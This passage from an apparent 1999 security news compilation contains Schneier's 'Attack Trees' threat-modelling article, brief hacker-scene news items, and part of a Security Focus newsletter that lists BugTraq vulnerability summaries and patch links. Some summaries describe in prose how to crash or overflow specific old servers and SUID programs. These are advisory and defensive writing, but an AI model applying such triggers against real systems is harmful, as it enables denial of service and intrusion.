known as 'Attack Trees'.
Dr. Dobb's Journal
http://www.ddj.com/articles/1999/9912/9912a/9912a.htm
Attack Trees
Dr. Dobb's Journal December 1999
Modeling security threats
By Bruce Schneier
Bruce is the CTO of Counterpane Internet Security, author of Applied
Cryptography, Second Edition (John Wiley & Sons, 1995), and inventor of
the Blowfish and Twofish encryption algorithms. You can contact Bruce at
http:// www.counterpane.com/.
Few people truly understand computer security, as illustrated by
computer-security company marketing literature that touts "hacker proof
software," "triple-DES security," and the like. In truth, unbreakable
security is broken all the time, often in ways its designers never
imagined. Seemingly strong cryptography gets broken, too. Attacks thought
to be beyond the ability of mortal men become commonplace. And as
newspapers report security bug after security bug, it becomes increasingly
clear that the term "security" doesn't have meaning unless also you know
things like "Secure from whom?" or "Secure for how long?"
Clearly, what we need is a way to model threats against computer systems.
If we can understand all the different ways in which a system can be
attacked, we can likely design countermeasures to thwart those attacks.
And if we can understand who the attackers are -- not to mention their
abilities, motivations, and goals -- maybe we can install the proper
countermeasures to deal with the real threats.
Enter Attack Trees
Attack trees provide a formal, methodical way of describing the security
of systems, based on varying attacks. Basically, you represent attacks
against a system in a tree structure, with the goal as the root node and
different ways of achieving that goal as leaf nodes.
Figure 1, for instance, is a simple attack tree against a physical safe.
The goal is opening the safe. To open the safe, attackers can pick the
lock, learn the combination, cut open the safe, or install the safe
improperly so that they can easily open it later. To learn the
combination, they either have to find the combination written down or get
the combination from the safe owner. And so on. Each node becomes a
subgoal, and children of that node are ways to achieve that subgoal. (Of
course, this is just a sample attack tree, and an incomplete one at that.
How many other attacks can you think of that would achieve the goal?)
Note that there are AND nodes and OR nodes (in the figures, everything
that isn't an AND node is an OR node). OR nodes are alternatives -- the
four ways to open a safe, for example. AND nodes represent different steps
toward achieving the same goal. To eavesdrop on someone saying the safe
combination, attackers have to eavesdrop on the conversation AND get safe
owners to say the combination. Attackers can't achieve the goal unless
both subgoals are satisfied.
That's the basic attack tree. Once you have it completed, you can assign
values -- I (impossible) and P (possible) in Figure 1 -- to the various
leaf nodes, then make calculations about the nodes. (Again, this is only
an illustrative example; do not take the values as an indication of how
secure my safe really is.) Once you assign these values -- presumably this
assignment will be the result of painstaking research on the safe itself
-- you can calculate the security of the goal. The value of an OR node is
possible if any of its children are possible, and impossible if all of its
children are impossible. The value of an AND node is possible only if all
children are possible, and impossible otherwise; see Figure 2.
The dotted lines in Figure 2 show all possible attacks -- a hierarchy of
possible nodes, from a leaf to the goal. In this sample system, there are
two possible attacks: Cutting open the safe, or learning the combination
by bribing the owner of the safe. With this knowledge, you know exactly
how to defend this system against attack.
Assigning "possible" and "impossible" to the nodes is just one way to look
at the tree. Any Boolean value can be assigned to the leaf nodes and then
propagated up the tree structure in the same manner: easy versus
difficult, expensive versus inexpensive, intrusive versus nonintrusive,
legal versus illegal, special equipment required versus no special
equipment. Figure 3 shows the same tree with another Boolean node value.
Assigning "expensive" and "not expensive" to nodes is useful, but it would
be better to show exactly how expensive. It is also possible to assign
continuous values to nodes. Figure 4 shows the tree with different costs
assigned to the leaf nodes. Like Boolean node values, these can propagate
up the tree as well. OR nodes have the value of their cheapest child; AND
nodes have the value of the sum of their children. In Figure 4, the costs
have propagated up the tree, and the cheapest attack has been highlighted.
Again, this tree can be used to determine where a system is vulnerable.
Figure 5 shows all attacks that cost less than $100,000. If you are only
concerned with attacks that are less expensive (maybe the contents of the
safe are only worth $100,000), then you should only concern yourself with
those attacks.
There are many other possible continuous node values, including
probability of success of a given attack, likelihood that an attacker will
try a given attack, and so on.
Nodes and Their Values
In any real attack tree, nodes will have many different values
corresponding to many different variables, both Boolean and continuous.
Different node values can be combined to learn even more about a system's
vulnerabilities. Figure 6, for instance, determines the cheapest attack
requiring no special equipment. You can also find the cheapest low-risk
attack, most likely nonintrusive attack, best low-skill attack, cheapest
attack with the highest probability of success, most likely legal attack,
and so on. Every time you query the attack tree about a certain
characteristic of attack, you learn more about the system's security.
To make this work, you must marry attack trees with knowledge about
attackers. Different attackers have different levels of skill, access,
risk aversion, money, and so on. If you're worried about organized crime,
you have to worry about expensive attacks and attackers who are willing to
go to jail. If you are worried about terrorists, you also have to worry
about attackers who are willing to die to achieve their goal. If you're
worried about bored graduate students studying the security of your
system, you usually don't have to worry about illegal attacks such as
bribery and blackmail. The characteristics of your attacker determine
which parts of the attack tree you have to worry about.
Attack trees also let you play "what if" games with potential
countermeasures. In Figure 6, for example, the goal has a cost of $20,000.
This is because the cheapest attack requiring no special equipment is
bribing the person who knows the combination. What if you implemented a
countermeasure -- paying that person more so that he is less susceptible
to bribes? If you assume that the cost to bribe him is now $80,000 (again,
this is an example; in the real world you'd be expected to research
exactly how a countermeasure affects the node value), then the cost
increases to $60,000 (presumably to hire the thugs to do the threatening).
A PGP Example
Figure 7 is an attack tree for the popular PGP e-mail security program.
Since PGP is a complex program, this is a complex tree, and it's easier to
write it in outline form than graphically. PGP has several security
features, so this is only one of several attack trees for PGP. This
particular attack tree has "read a message encrypted with PGP" as its
goal. Other goals might be: "forge someone else's signature on a message,"
"change the signature on a message," "undetectibly modify a PGP-signed or
PGP-encrypted message," and so on.
What immediately becomes apparent from the attack tree is that breaking
the RSA or IDEA encryption algorithms are not the most profitable attacks
against PGP. There are many ways to read someone's PGP-encrypted messages
without breaking the cryptography. You can capture their screen when they
decrypt and read the messages (using a Trojan horse like Back Orifice, a
TEMPEST receiver, or a secret camera), grab their private key after they
enter a passphrase (Back Orifice again, or a dedicated computer virus),
recover their passphrase (a keyboard sniffer, TEMPEST receiver, or Back
Orifice), or simply try to brute force their passphrase (I can assure you
that it will have much less entropy than the 128-bit IDEA keys that it
generates). In the scheme of things, the choice of algorithm and the key
length is probably the least important thing that affects PGP's overall
security. PGP not only has to be secure, but it has to be used in an
environment that leverages that security without creating any new
insecurities.
Creating Attack Trees
How do you create an attack tree like this? First, you identify the
possible attack goals. Each goal forms a separate tree, although they
might share subtrees and nodes. Then, try to think of all attacks against
each goal. Add them to the tree. Repeat this process down the tree until
you are done. Give the tree to someone else, and have him think about the
process and add any nodes he thinks of. Repeat as necessary, possibly over
the course of several months. Of course there's always the chance that you
forgot about an attack, but you'll get better with time. Like any security
analysis, creating attack trees requires a certain mindset and takes
practice.
Once you have the attack tree, and have researched all the node values
(these values will change over time, both as attacks become easier and as
you get more exact information on the values), you can use the attack tree
to make security decisions. You can look at the values of the root node to
see if the system's goal is vulnerable to attack. You can determine if the
system is vulnerable to a particular kind of attack; password guessing,
for instance. You can use the attack tree to list the security assumptions
of a system; for example, the security of PGP might assume that no one
could successfully bribe the programmers. You can determine the impact of
a system modification or a new vulnerability discovery: Recalculate the
nodes based on the new information and see how the goal node is affected.
And you can compare and rank attacks -- which is cheaper, which is more
likely to succeed, and the like.
One of the surprising things that comes out of this kind of analysis is
that the areas people think of as vulnerable usually aren't. With PGP, for
example, people generally worry about key length. Should they use 1024-bit
RSA or 2048-bit RSA? Looking at the attack tree, though, shows that the
key length of RSA doesn't really matter. There are all sorts of other
attacks -- installing a keyboard sniffer, modifying the program on the
victim's hard drive -- that are much easier than breaking the RSA public
key. Increasing the key length from 1024 bits to 2048 bits is like putting
an enormous stake into the ground and hoping the enemy runs right into it,
as opposed to building a lower palisade around the target. Attack trees
give you perspective on the whole system.
One of the things that really makes attack trees valuable is that they
capture knowledge in a reusable form. Once you've completed the PGP attack
tree, you can use it in any situation that uses PGP. The attack tree
against PGP becomes part of a larger attack tree. For example, Figure 8
shows an attack tree whose goal is to read a specific message that has
been sent from one Windows 98 computer to another. If you look at the root
nodes of the tree, the entire attack trees for PGP and for opening a safe
fit into this attack tree.
This scalability means that you don't have to be an expert in everything.
If you're using PGP in a system, you don't have to know the details of the
PGP attack tree; all you need to know are the values of the root node. If
you're a computer-security expert, you don't have to know the details
about how difficult a particular model of safe is to crack; you just need
to know the values of the root node. Once you build up a library of attack
trees against particular computer programs, door and window locks, network
security protocols, or whatever, you can reuse them whenever you need to.
For a national security agency concerned about compartmentalizing attack
expertise, this kind of system is very useful.
Conclusion
Attack trees provide a formal methodology for analyzing the security of
systems and subsystems. They provide a way to think about security, to
capture and reuse expertise about security, and to respond to changes in
security. Security is not a product -- it's a process. Attack trees form
the basis of understanding that process.
DDJ
@HWA
22.0 Pandora Updated
~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Simple Nomad
Jitsu-Disk finished moving the Pandora Linux code so
that Pandora Linux uses libpcap and libnet. Pandora is a
set of tools for testing the security and insecurity of
Novell Netware. A number of problems have been
corrected from the beta release on November 19th,
including several problems involving spoofing and
sniffing. Libnet helped Jitsu fix all that. The
documentation has also been updated, including all the
code used to do the builds, and pre-compiled binaries,
all wrapped up in a nice big tarball.
Nomad Mobile Research Center
http://www.nmrc.org/pandora/
@HWA
23.0 [sSh] Busted or Not?
~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Ender
Numerous contradictory information about the raids and
arrests of YTCracker and Darkness of [sSh] have been
received by HNN and other sources. It is pretty clear at
this time that YTCracker has not been arrested, yet.
(He feels that it is only a matter of time.) OSALL has
been trying to keep track on the rumors and innuendoes
and get accurate information regarding this breaking
story or non-story.
OSALL
http://www.aviary-mag.com/News/SSH_Busts/ssh_busts.html
[sSh] Busts
12/02/99
Mike Hudack
Editor-in-Chief
Note: The following information is presented as best as possible.
Contradictions have been streaming into the OSAll headquarters from two
FBI agents, numerous Web site defacers and several other people. All
claim to know what�s going on, but all contradict each other. We�re
leaving this story intact for now, until the dust settles and we can determine
the facts of the case, as it were.
Correction: YTCracker has not been raided.
OSAll spoke with YTCracker at 1:00pm eastern time, confirming that he
had not been raided by the FBI or any other government agency.
Previous reports published on OSAll and HNN stated that YTCracker
had been raided, citing rumors and, in one case on OSAll, an anonymous
FBI source. It appears that these reports were incorrect.
As of right now it has been confirmed that Darkness has been visited by
NASA investigative authorities. FBI visits have not been confirmed but
have been mentioned by an anonymous FBI source.
The validity and reliability of this FBI source is being called into question as
more evidence comes to light.
The source expects "a number of groups to fall soon" but gave no timeline
or even a guarentee of further arrests.
The FBI has already seized logs relating to a number of attacks, including
visiting an ISP that one defacer funneled his attacks through.
Both the FBI and US Attorney�s Office have denied official comment on
an "ongoing investigation."
@HWA
24.0 Response to Freedom Extraordinary
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Jordan
Thursdays long anticipated launch of Freedom 1.0 by
Zero Knowledge Systems has proved to be an
extraordinary success. Freedom works seamlessly
alongside your favorite browser and other Internet
applications. You can surf the web, send email, chat,
telnet, and participate in newsgroups as you normally
would, only now with complete confidence that your
personal information is not being collected without your
consent. Freedom identifies you on the net with a 'nym'
that you choose. There can be only one 'nym' so you
may want to reserve your online identity as soon as you
can.
Freedom 1.0
http://www.zks.net/clickthrough/click.asp?partner_id=542
@HWA
25.0 DCypher.net Team Created
~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by dcypher
A team for the Hacker News Network has been created
at DCypher.net. DCypher.Net has accepted the CS
Group's CS-Cipher challenge and will attempt to break
their 56 bit key using a brute force attack in a
distributed computing effort. They promise to give the
entire $10,500 prize to whoever actually finds the
correct key. (Now that is a pretty strong incentive.)
DCypher.net
http://www.dcypher.net/
HNN Stats at DCypher.net TeamID:131
Don't forget about our team over at SETI@Home, the
search for extraterrestrial life.
SETI@Home
http://setiathome.ssl.berkeley.edu/
HNN SETI@Home Team Stats
http://setiathome.ssl.berkeley.edu/stats/team/team_2251.html
@HWA
26.0 Hackers Make it to Mars
~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Desolationroad
At approximately 12 Noon PST on Friday December 3rd,
1999 a 42 square foot (3.816 sq meters) extremely
dense ball of complicated electronics will arrive at the
end of its twelve month journey. The 1,270 pounds (576
kg) mass of extremely sophisticated cutting edge
technology will crash land onto the surface of an
extraterestrial location. (Now thats a damn hack if I
ever heard of one.)
Jet Propulsion Laboratory
http://marslander.jpl.nasa.gov/index.html
@HWA
27.0 Security Focus Newsletter #17
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Security Focus Newsletter #17
Table of Contents:
I. INTRODUCTION
II. BUGTRAQ SUMMARY
1. NetTerm FTP Server Multiple Vulnerabilities
2. Microsoft IE5 XML HTTP Redirect Vulnerability
3. Sun Java IDE Webserver IP Restriction Failure Vulnerability
4. Vermillion FTPd CWD DoS Vulnerability
5. Mdaemon WebConfig Overflow DoS Vulnerability
6. Cabletron SSR ARP Flood DoS Vulnerability
7. Netscape Navigator Long ASP Argument Vulnerability
8. Deerfield WorldClient Long URL DoS Vulnerability
9. SCO Xsco Buffer Overflow Vulnerability
10. SCO xlock(1) (long username) Buffer Overflow Vulnerability
11. SCO su(1) Buffer Overflow Vulnerability
III. PATCH UPDATES
1. Vulnerability Patched: Linux syslogd Denial of Service
2. Vulnerability Patched: Solaris rpc.ttdbserver Denial of Service
3. Vulnerability Patched: Cabletron SSR ARP Flood DoS
4. Vulnerability Patched: SCO su(1) Buffer Overflow
5. Vulnerability Patched: Pine Environment Variable Expansion in
URLS
IV. INCIDENTS SUMMARY
1. Re: Port 137 and snmp scans (Thread)
2. SunOS rpcbind scans (Thread)
3. Re: cracker probing 1542 (Thread)
4. Re: rpc logging (Thread)
5. SANS and CERT ICMP advisories (Thread)
6. Fw: unsolicited connection(s) (Thread)
7. F5's 3DNS signature + Cisco Distrib Dir (Thread)
8. Insane amount of probes from 216.212.in-addr.arpa (tin.it) (Thread)
9. BIND Scanning (Thread)
10. sweep (Thread)
11. pop3/imap crawler.. (Thread)
12. UK Law & Cases Re Malicious action/attacks (Thread)
13. cgi attack
14. Re: problems from ip69.net247221.cr.sk.ca[24.72.21.69] (Thread)
15. Port 98 scans & new 3128/8080 scans
V. VULN-DEV RESEARCH LIST SUMMARY
1. Re: icq accounts (Thread)
2. Re: WordPad/riched20.dll buffer overflow (Thread)
3. SSH exploit (Thread)
4. lanma256.bmp/lanmannt.bmp security risk? (Thread)
5. Re: development of wordpad exploit (Thread)
VI. SECURITY JOBS
Seeking Staff:
1. SecurityFocus.com is looking for staff writers for a Windows NT column!
2. NYC - Internet Security Position
3. Security Research Engineer
VII. SECURITY SURVEY RESULTS
VIII. SECURITY FOCUS TOP 6 TOOLS
1. SecurityFocus.com Pager (Win95/98/NT)
2. Lookout (Windows 2000, Windows 95/98 and Windows NT)
3. cgicheck99 0.4 (Any system supporting rebol)
4. HookProtect (Windows 95/98 and Windows NT)
5. Sun Enterprise Network Security Service Early Access 1 (Java)
6. Pandora for Linux v4 beta 2 (Linux)
IX. SPONSOR INFORMATION - CORE SDI
X. SUBSCRIBE/UNSUBSCRIBE INFORMATION
I. INTRODUCTION
-----------------
Welcome to the Security Focus 'week in review' newsletter issue 17
sponsored by CORE SDI.
http://www.core-sdi.com
II. BUGTRAQ SUMMARY 1999-11-21 to 1999-11-27
---------------------------------------------
1. NetTerm FTP Server Multiple Vulnerabilities
BugTraq ID: 819
Remote: Yes
Date Published: 1999-11-22
Relevant URL:
http://www.securityfocus.com/bid/819
Summary:
InterSoft's internet suite includes an FTP server which has been found to
have numerous vulnerabilities. Among them:
The default configuration allows read/write access to the root of the C:
drive for anonymous users. This write access includes overwrite and
delete. If the server is setup with 'out of the box' options, anonymous
remote users have full access to the operating system files and
executables.
There is no administrator account, which means that any user with console
access can alter the server's settings.
The encryption method used on the passwords for user accounts is reported
to be weak and easily broken.
There are also multiple buffer overflows. Supplying over 1024-character
arguments to the following commands will crash the server: dir, ls, mkdir,
delete, and rmdir. Also, althouth the PASS buffer is truncated at 16
characters for users with accounts, this limit is not in place for the
anonymous user (to allow for proper entry of email addresses as passwords)
and a 1024-byte string 'password' will crash the server if user name
'anonymous' is supplied. It may be possible to exploit these overflows to
run arbitrary code.
2. Microsoft IE5 XML HTTP Redirect Vulnerability
BugTraq ID: 815
Remote: Yes
Date Published: 1999-11-22
Relevant URL:
http://www.securityfocus.com/bid/815
Summary:
A vulnerability in the method IE5 uses to process XML data may allow a
malicious web site owner to read files on a visiting user's computer. A
web page may be created that contains an XML object type that contains
instructions to read known files on a visitor's local host (and or
domain). The IE5 client will allow the XML redirect to access files within
its own domain.
3. Sun Java IDE Webserver IP Restriction Failure Vulnerability
BugTraq ID: 816
Remote: Yes
Date Published: 1999-11-23
Relevant URL:
http://www.securityfocus.com/bid/816
Summary:
These Java development applications include an http server for testing
purposes. The server can be configured to only respond to requests from
certain IP addresses, however the mechanism fails and any requests
received are serviced. The server will allow read access to any file on
the filesystem that it haas access to, all the way up to the root
directory. In the Netbeans product, this is the default 'out of the box'
configuration. In the Forte product. IP addresses must be added manually
to a list of permitted clients. Once a single IP address is added, any
requests regardless of source are responded to.
4. Vermillion FTPd CWD DoS Vulnerability
BugTraq ID: 818
Remote: Yes
Date Published: 1999-11-22
Relevant URL:
http://www.securityfocus.com/bid/818
Summary:
If the Vermillion FTP Daemon (VFTPD) receives three consecutive CWD
commands with arguments of 504 characters or longer, it will crash.
5. Mdaemon WebConfig Overflow DoS Vulnerability
BugTraq ID: 820
Remote: Unknown
Date Published: 1999-11-24
Relevant URL:
http://www.securityfocus.com/bid/820
Summary:
The Mdaemon mail server for Windows includes a small web server for
web-based remote administration. This webserver is vulnerable due to an
unchecked buffer that handles incoming GET requests. An abnormally large
URL sent to the WebConfig service at port 2002 will crash the service.
6. Cabletron SSR ARP Flood DoS Vulnerability
BugTraq ID: 821
Remote: Yes
Date Published: 1999-11-24
Relevant URL:
http://www.securityfocus.com/bid/821
Summary:
The Cabletron SmartSwitch Router 8000 with firmware revision 2.x has been
shown to susceptible to a denial of service attack. The SSR can only
handle approximately 200 ARP requests per second. If an attacker can get
ICMP traffic to the router, they can flood it with ARP requests,
effectively shutting the router down for the duration of the attack.
7. Netscape Navigator Long ASP Argument Vulnerability
BugTraq ID: 822
Remote: Yes
Date Published: 1999-11-26
Relevant URL:
http://www.securityfocus.com/bid/822
Summary:
Netscape Communicator 4.7 has been shown to crash when an argument of 800
characters is supplied to a command in an asp page. Some of the data
passed as the argument makes it into the EIP and EBP registers, so
execution of arbitrary code is a possibility. The overflow could be
embedded in a link on a webpage or in an email message for remote attacks.
8. Deerfield WorldClient Long URL DoS Vulnerability
BugTraq ID: 823
Remote: Yes
Date Published: 1999-11-26
Relevant URL:
http://www.securityfocus.com/bid/823
Summary:
Deerfield's WorldClient is an email webserver that allows it's users to
retrieve email via HTTP. It is susceptible to denial of service attacks
due to an unchecked buffer in the request handler. Supplying a long url
will crash the server.
9. SCO Xsco Buffer Overflow Vulnerability
BugTraq ID: 824
Remote: No
Date Published: 1999-11-25
Relevant URL:
http://www.securityfocus.com/bid/824
Summary:
Under certain versions of Unixware, the SUID program Xsco is vulnerable to
a buffer overflow attack. The problem lies in that Xsco does not sanity
check user supplied data.
10. SCO xlock(1) (long username) Buffer Overflow Vulnerability
BugTraq ID: 825
Remote: No
Date Published: 1999-11-25
Relevant URL:
http://www.securityfocus.com/bid/825
Summary:
Certain versions of Unixware ship with a version of xlock which is
vulnerable to a buffer overflow attack. The xlock(1) program locks the
local X display until a username and password are entered. In this
instance a user can provide an overly long username and overflow a buffer
in xlock(1). Given that xlock(1) runs SUID root this will result in a root
compromise.
11. SCO su(1) Buffer Overflow Vulnerability
BugTraq ID: 826
Remote: No
Date Published: 1999-11-25
Relevant URL:
http://www.securityfocus.com/bid/826
Summary:
Certain versions of Unixware ship with a version of su(1) which is
vulnerable to a buffer overflow attack. This attack is possible because
su(1) fails to sanity check user supplied data, in this instance a
username supplied on the command line. Because su(1) is SUID root this
attack may result in root privileges.
III. PATCH UPDATES 1999-11-21 to 1999-11-27
-------------------------------------------
1. Vendor: Red Hat
Product: RedHat Linux
Patch Location:
Red Hat Linux 4.x:
Intel:
ftp://updates.redhat.com/4.2/i386/sysklogd-1.3.31-0.5.i386.rpm
ftp://updates.redhat.com/4.2/i386/libc-5.3.12-18.5.i386.rpm
ftp://updates.redhat.com/4.2/i386/libc-debug-5.3.12-18.5.i386.rpm
ftp://updates.redhat.com/4.2/i386/libc-devel-5.3.12-18.5.i386.rpm
ftp://updates.redhat.com/4.2/i386/libc-profile-5.3.12-18.5.i386.rpm
ftp://updates.redhat.com/4.2/i386/libc-static-5.3.12-18.5.i386.rpm
Alpha:
ftp://updates.redhat.com/4.2/alpha/sysklogd-1.3.31-0.5.alpha.rpm
Sparc:
ftp://updates.redhat.com/4.2/sparc/sysklogd-1.3.31-0.5.sparc.rpm
ftp://updates.redhat.com/4.2/sparc/libc-5.3.12-18.5.sparc.rpm
ftp://updates.redhat.com/4.2/sparc/libc-debug-5.3.12-18.5.sparc.rpm
ftp://updates.redhat.com/4.2/sparc/libc-devel-5.3.12-18.5.sparc.rpm
ftp://updates.redhat.com/4.2/sparc/libc-profile-5.3.12-18.5.sparc.rpm
ftp://updates.redhat.com/4.2/sparc/libc-static-5.3.12-18.5.sparc.rpm
Source packages:
ftp://updates.redhat.com/4.2/SRPMS/sysklogd-1.3.31-0.5.src.rpm
ftp://updates.redhat.com/4.2/SRPMS/libc-5.3.12-18.5.src.rpm
Red Hat Linux 5.x:
Intel:
ftp://updates.redhat.com/5.2/i386/sysklogd-1.3.31-1.5.i386.rpm
Alpha:
ftp://updates.redhat.com/5.2/alpha/sysklogd-1.3.31-1.5.alpha.rpm
Sparc:
ftp://updates.redhat.com/5.2/sparc/sysklogd-1.3.31-1.5.sparc.rpm
Source packages:
ftp://updates.redhat.com/5.2/SRPMS/sysklogd-1.3.31-1.5.src.rpm
Red Hat Linux 6.0:
Intel:
ftp://updates.redhat.com/6.0/i386/sysklogd-1.3.31-14.i386.rpm
Alpha:
ftp://updates.redhat.com/6.0/alpha/sysklogd-1.3.31-14.alpha.rpm
Sparc:
ftp://updates.redhat.com/6.0/sparc/sysklogd-1.3.31-14.sparc.rpm
Source packages:
ftp://updates.redhat.com/6.0/SRPMS/sysklogd-1.3.31-14.src.rpm
Red Hat Linux 6.1:
Intel:
ftp://updates.redhat.com/6.1/i386/sysklogd-1.3.31-14.i386.rpm
Source packages:
ftp://updates.redhat.com/6.1/SRPMS/sysklogd-1.3.31-14.src.rpm
The following patches are for Cobalt Networks RAQ and Qube servers which run RedHat Linux:
RPMS:
-RaQ3-
ftp://ftp.cobaltnet.com/pub/experimental/security/i386/sysklogd-1.3.33-9C1.i386.rpm
-RaQ1 RaQ2 Qube1 Qube2-
ftp://ftp.cobaltnet.com/pub/experimental/security/mips/sysklogd-1.3.33-9C2.mips.rpm
SRPMS:
ftp://ftp.cobaltnet.com/pub/experimental/security/srpms/sysklogd-1.3.33-9C1.src.rpm
ftp://ftp.cobaltnet.com/pub/experimental/security/srpms/sysklogd-1.3.33-9C2.src.rpm
Vulnerability Patched: Linux syslogd Denial of Service Vulnerability
BugTraq ID: 809
Relevant URLS:
http://www.securityfocus.com/bid/809
2. Vendor: Sun Mircosystems
Product: Solaris 7
Patch Location:
http://sunsolve.sun.com/pub-cgi/show.pl?target=patches/patch-license&nav=pub-patches
Vulnerability Patched: Solaris rpc.ttdbserver Denial of Service Vulnerability
BugTraq ID: 811
Relevant URLS:
http://www.securityfocus.com/bid/811
3. Vendor: Cabletron
Product: Cabletron SmartSwitch Router 8000 firmware 2.x
Patch Location:
http://www.cabletron.com/download/download.cgi?lib=ssr
Vulnerability Patched: Cabletron SSR ARP Flood DoS Vulnerability
BugTraq ID: 821
Relevant URLS:
http://www.securityfocus.com/bid/821
4. Vendor: SCO
Product: Unixware
Patch Location:
Anonymous ftp (World Wide Web URL):
ftp://ftp.sco.COM/SSE/sse039.ltr (cover letter, ASCII text)
ftp://ftp.sco.COM/SSE/sse039.tar.Z (new binaries, compressed tar
file)
Compuserve:
GO SCOFORUM, and search Library 11 (SLS/SSE Files) for these
filenames:
SSE039.LTR (cover letter, ASCII text)
SSE039.TAZ (new binaries, compressed tar file)
Vulnerability Patched: SCO su(1) Buffer Overflow Vulnerability
BugTraq ID: 826
Relevant URLS:
http://www.sco.com/support/ftplists/index.html
http://www.securityfocus.com/bid/
5. Vendor: Caldera
Product: Caldera OpenLinux (and its other distributions)
Patch Location:
ftp://ftp.calderasystems.com/pub/OpenLinux/updates/2.3/current/RPMS/
Vulnerability Patched: Pine Environment Variable Expansion in URLS Vulnerability
BugTraq ID: 810
Relevant URLS:
http://www.securityfocus.com/bid/810
INCIDENTS SUMMARY 1999-11-21 to 1999-11-27
------------------------------------------
1. Re: Port 137 and snmp scans (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-22&msg=Pine.LNX.4.10.9911220749020.615-100000@epr0.org
2. SunOS rpcbind scans (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-22&msg=XFMail.991122220828.ldavis@fastq.com
3. Re: cracker probing 1542 (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-22&msg=19991122172139.12644.qmail@securityfocus.com
4. Re: rpc logging (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-22&msg=19991122224453.1743.qmail@securityfocus.com
5. SANS and CERT ICMP advisories (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-22&msg=19991123051240.12076.qmail@securityfocus.com
6. Fw: unsolicited connection(s) (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-22&msg=01aa01bf3599$17618a40$30a238cd@bbn.com
7. F5's 3DNS signature + Cisco Distrib Dir (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-22&msg=19991124021152.13054.qmail@securityfocus.com
8. Insane amount of probes from 216.212.in-addr.arpa (tin.it) (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-22&msg=Pine.LNX.4.05.9911250211030.30972-100000@bean.xtdnet.nl
9. BIND Scanning (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-22&msg=Pine.SOL.4.10.9911251135010.20417-100000@yuma.Princeton.EDU
10. sweep (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-22&msg=19991125164633.23732.qmail@securityfocus.com
11. pop3/imap crawler.. (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-22&msg=19991126132342.G28629@obfuscation.org
12. UK Law & Cases Re Malicious action/attacks (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-22&msg=004f01bf3810$414d9960$050010ac@xtranet.co.uk
13. cgi attack
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-22&msg=383F9790.150177EB@eti.cc.hun.edu.tr
14. Re: problems from ip69.net247221.cr.sk.ca[24.72.21.69] (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-22&msg=3841bb7e.1d7.0@infolink.com.br
15. Port 98 scans & new 3128/8080 scans
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-22&msg=14401.22457.121945.823373@cap-ferrat.albourne.com
V. VULN-DEV RESEARCH LIST SUMMARY 1999-11-21 to 1999-11-27
----------------------------------------------------------
1. Re: icq accounts (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-11-22&msg=19991122182152.P26100@willamette.edu
2. Re: WordPad/riched20.dll buffer overflow (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-11-22&msg=18692.991122@iname.com
3. SSH exploit (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-11-22&msg=383C072F.408BE3FC@core-sdi.com
4. lanma256.bmp/lanmannt.bmp security risk? (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-11-22&msg=3EE01C3AD21BD211B73C0008C72833F9582BA0@exchange.ls.se
5. Re: development of wordpad exploit (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-11-22&msg=19991122121349.4947.qmail@home1.gmx.net
VI. SECURITY JOBS SUMMARY 1999-11-21 to 1999-11-27
---------------------------------------------------
1. SecurityFocus.com is looking for staff writers for a Windows NT column!
Reply to: Alfred Huger <ah@securityfocus.com>
Position Requirements:
http://www.securityfocus.com/templates/archive.pike?list=77&date=1999-11-22&msg=Pine.GSO.4.10.9911231458200.4263-100000@www.securityfocus.com
2. NYC - Internet Security Position
Reply to: timoe@interworld.com
Position Requirements:
http://www.securityfocus.com/templates/archive.pike?list=77&date=1999-11-22&msg=19991124200337.15430.qmail@securityfocus.com
3. Security Research Engineer
Reply to: Samuel Cure <scure@iss.net>
Position Requirements:
http://www.securityfocus.com/templates/archive.pike?list=77&date=1999-11-22&msg=19991124201148.15891.qmail@securityfocus.com
VII. SECURITY SURVEY 1999-11-15 to 1999-11-27
----------------------------------------------
The question for 1999-11-15 to 1999-11-27 was:
Which Security conference do you think is more useful to attendees? (Bang
for your buck)
SANS 31% / 30 votes
BlackHat 15% / 15 votes
TISC 4% / 4 votes
CSI 5% / 5 votes
Chaos Communications Congress 6% / 6 votes
Defcon 30% / 29 votes
Total number of votes: 94 votes
VIII. SECURITY FOCUS TOP 6 TOOLS 1999-11-21 to 1999-11-27
--------------------------------------------------------
1. SecurityFocus.com Pager
by SecurityFocus.com
URL: http://www.securityfocus.com/pager/sf_pgr20.zip
Platforms: Win95/98/NT
Number of downloads: 1690
This program allows the user to monitor additions to the Security Focus
website without constantly maintaining an open browser. Sitting quietly in
the background, it polls the website at a user-specified interval and
alerts the user via a blinking icon in the system tray, a popup message or
both (also user-configurable).
2. Lookout
